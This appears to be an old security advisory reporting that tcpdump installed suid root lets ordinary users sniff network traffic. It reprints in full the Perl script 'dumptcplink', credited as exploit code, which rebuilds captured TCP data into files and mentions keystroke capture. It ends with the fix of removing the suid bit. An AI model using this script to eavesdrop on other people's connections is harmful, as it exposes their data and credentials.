COMMAND

    tcpdump

SYSTEMS AFFECTED

    Systems running tcpdump

PROBLEM

    Following  info  is  based  on  Rhino9  advisory  #8.  The program
    tcpdump, readily available off of:

        ftp://sunsite.unc.edu/pub/Linux/system/network/sunacm/Other/tcpdump/

    and other hosts,  is set by  default as suid  root.  Tcpdump  is a
    program that  shows detailed  information about  different packets
    and where they are going.   Because the program is suid root,  any
    user running  the program  may be  able to  watch every connection
    over your eth0 (ethernet) or ppp0(point-to-point) connection  with
    root privlages.  This could  probably be acceptable until you  see
    the  program  at  the  bottom  of  this  advisory.   The  program,
    dumptcplink, is a program that  takes packets seen by the  tcpdump
    program  and  reconstructs  the  original  data.   This allows for
    screen captures of any events  that may take place on  the system.
    Any data moved across the network is all in reach of our attacker.
    Credit goes to module1.  Exploit code follows:

    #!/usr/bin/perl

    #
    # dumptcplink V1.1.
    #
    # This script has the same command line interface as tcpdump since
    # it's fed directly  to tcpdump.  The  output is a bunch  of files
    # containing the tcp data and can be quite useful when you need to
    # reconstruct the  original data.   eg a .gif  file.  In  case you
    # haven't   picked   it   up    yet,   you   need   tcpdump   from
    # ftp://ftp.ee.lbl.gov/tcpdump.tar.Z   Since  this  is always  the
    # latest version I will attempt to stay compatible with it alone.
    #
    # It  doesn't do  sequence number  checking yet  (it's stateless),
    # meaning amongst other  things that if you  run it on a  loopback
    # interface, you'll see two  of everything unless you have  a good
    # filter, since  all packets will  be captured twice.   Once going
    # out, once going in.  'inbound/outbound' would be perfect if they
    # worked.
    #
    # You can probably  speed it up with  a good filter too.   eg, you
    # don't  want  to  be  bothered  by non-tcp and  non-data-carrying
    # packets since they are (read should be) ignored anyway.  You can
    # safely add these  to the line that  opens tcpdump, just as  I've
    # added "-x", but I get the feeling this is The Wrong Thing, since
    # it  could  screw  up  the "compatibility" with tcpdumps  command
    # line.

    # You probably want to wind the tcpdump packet capture size up  to
    # that of  a full packet  (with -s) unless  you're only trying  to
    # capture keystrokes and gosh, why would you want to do that?
    #
    # Possible Future enhancements:
    #   * Sequence checking?
    #   * IPV6 (naturaly).  Gotta  add some state checking  for  this.
    #     Might as well do a proper job.
    #   * Decoding of non-IP protocols.
    #   * Decoding of higher layer protocols.  Ugh.  Feature creap.  A
    #     better idea is to write a script to decode the output files.
    #   * Is there a  useful general way to decode udp data?   tcpdump
    #     does a lot of that anyway.
    #   * Additional  output format with timestamps and  possibly with
    #     incoming and outgoing streams merged.  This gives rise to  a
    #     special reader like the  one on www.takedown.com.    Merging
    #     the streams may be  difficult/unworkable since tcpdump   can
    #     get   confused  about  who's   sending  what  on linux  with
    #     masquerading.
    #
    # License:  GPL  or  Artistic.    Choose  one  only.   They    are
    # incompatible.
    #                GPL: http://www.gnu.org/copyleft/gpl.html
    #   Artistic License: http://language.perl.com/misc/Artistic.html
    #

    # Run tcpdump with the args that were given to us.
    open (STDIO,"tcpdump -x @ARGV |");

    # Change back to the real user.  Consider the line above.  This is
    # only realy applicable if you want it to run setuid root, and  to
    # do that you need to add an $ENV{PATH}= statement to pacify perls
    # security  features.   You  can  get  around all this by  running
    # tcpdump suid root.
    #$>=$<;$)=$(;

    $opened="::";
    $tcpData="";
    $fh="";

    # Profiling code.  See alarmhandler().
    #$picks=$opens=0;
    #$state="[start]";
    #$SIG{ALRM}='alarmhandler';
    #alarm 1;

    line: while () {
            $procLine++;
            # tcpdump description line.
            if (/^\d/) {
                    @Fld = split(' ', $_, 5);
                    $sourceDest = "$Fld[1]:$Fld[3]";
                    $procLine = -1;
                    $tcpDataLine=$ipLen=$turbo=0;
                    $lookForNow="procIpHeader";
                    next line;
            }
            # Turbo Mode for large data packets.
            if ($turbo!=0) {
                    dataLineOut();
                    next line;
            }

            # Prepare line (now containing hex chars only) for substr();
            # This is a bottleneck.
            s/\W//g;

            # How do you do a switch in perl again?
            goto $lookForNow;

            # First line of packet data (ip header).
            procIpHeader:
            if (($procLine == 0) && (substr($_,18,2)=="06")) {
                    $ipHeaderLen = ((hex substr($_, 1, 1)) << 2);
                    $tcpHeaderLenLine = (($ipHeaderLen+12) >> 4);
                    $tcpHeaderLenWord = (($ipHeaderLen+12) % 16);
                    $ipLen = hex substr($_,4,4);
                    $ipEndLine = $ipLen>>4;
                    $ipEndWord = $ipLen%16;
                    $lookForNow="procTcpHeader";
            }
            next line;

            # Process tcp header.  There's only one thing we need to do here.
            procTcpHeader:
            if ($procLine == $tcpHeaderLenLine) {
                    $HeaderLen = $ipHeaderLen+((hex substr($_,($tcpHeaderLenWord<<1), 1)) << 2);
                    $tcpDataLine = (($HeaderLen) >> 4);
                    $tcpDataWord = (($HeaderLen) % 16);
                    $lookForNow="extract";
            }

            if ($ipLen<=($HeaderLen)) {next line}

            # Extract tcp data.  Want to get rid of tcpDataLine.
            extract:
            if ($tcpDataLine && $tcpDataLine<=$procLine && $procLine<=$ipEndLine) {
                    $turbo=ipEndLine-$procLine;
                    dataLineOut();
            }
    }
    # Flush the remaining data.
    $tcpData=~s/\W//g;
    printf $fh pack ("H*",$tcpData);
    alarmhandler();

    sub dataLineOut {
    # This entire function is a bottleneck.  Specialy for large packets.
            if ($tcpDataLine==$procLine) {
                    # Write the previous packet to disk and grab the new packet.
                    # One big subst is faster than lots of little ones.
                    # This assumes we have pure hex char pairs.
                    $tcpData=~s/\W//g;
                    printf $fh pack ("H*",$tcpData);
                    &Pick('>>', $sourceDest) || print ("File open error") ;
                    $tcpData=substr($_,($tcpDataWord<<1));
            } else { $tcpData.=$_; }
            if ($procLine==$ipEndLine) {
                    # Remove end of packet garbage.
                    # Can be omitted if you know there is none.
                    #$tcpData=substr($tcpData,1,($ipLen-$HeaderLen)<<1);
                    $turbo=($ipEndLine-$procLine);
            }
    }

    # Needs a cache of open files.  This isn't the bottleneck  though.
    # dataLineOut()  calls this  function a  long time  before data is
    # written to the file, which  speeds things up since open() is  in
    # non-blocking mode.  This appears to be true for linux-2.0 anyway
    sub Pick {
            $picks++;
            local($mode,$name) = @_;
            if ($opened ne $name) {
                    $opens++;
                    close($fh);
                    $opened = $name;
                    open($fh,"$mode$name");
                    $return=1;
            } else { $return=1; }
            return $return;
    }

    # Old but useful profiling code.
    # Uncomment the profiling code at the top to use.  You need to add
    # $state= lines before points in the code you're trying to profile
    sub alarmhandler {
            $states{$state}++;
            print (%states," $opens/$picks\n");
            alarm 1;
    }

SOLUTION

    The easiest way to avoid all of this is to simply:

        chmod -s tcpdump

    This  way  normal  users  will  no  longer be permitted to use the
    tcpdump program.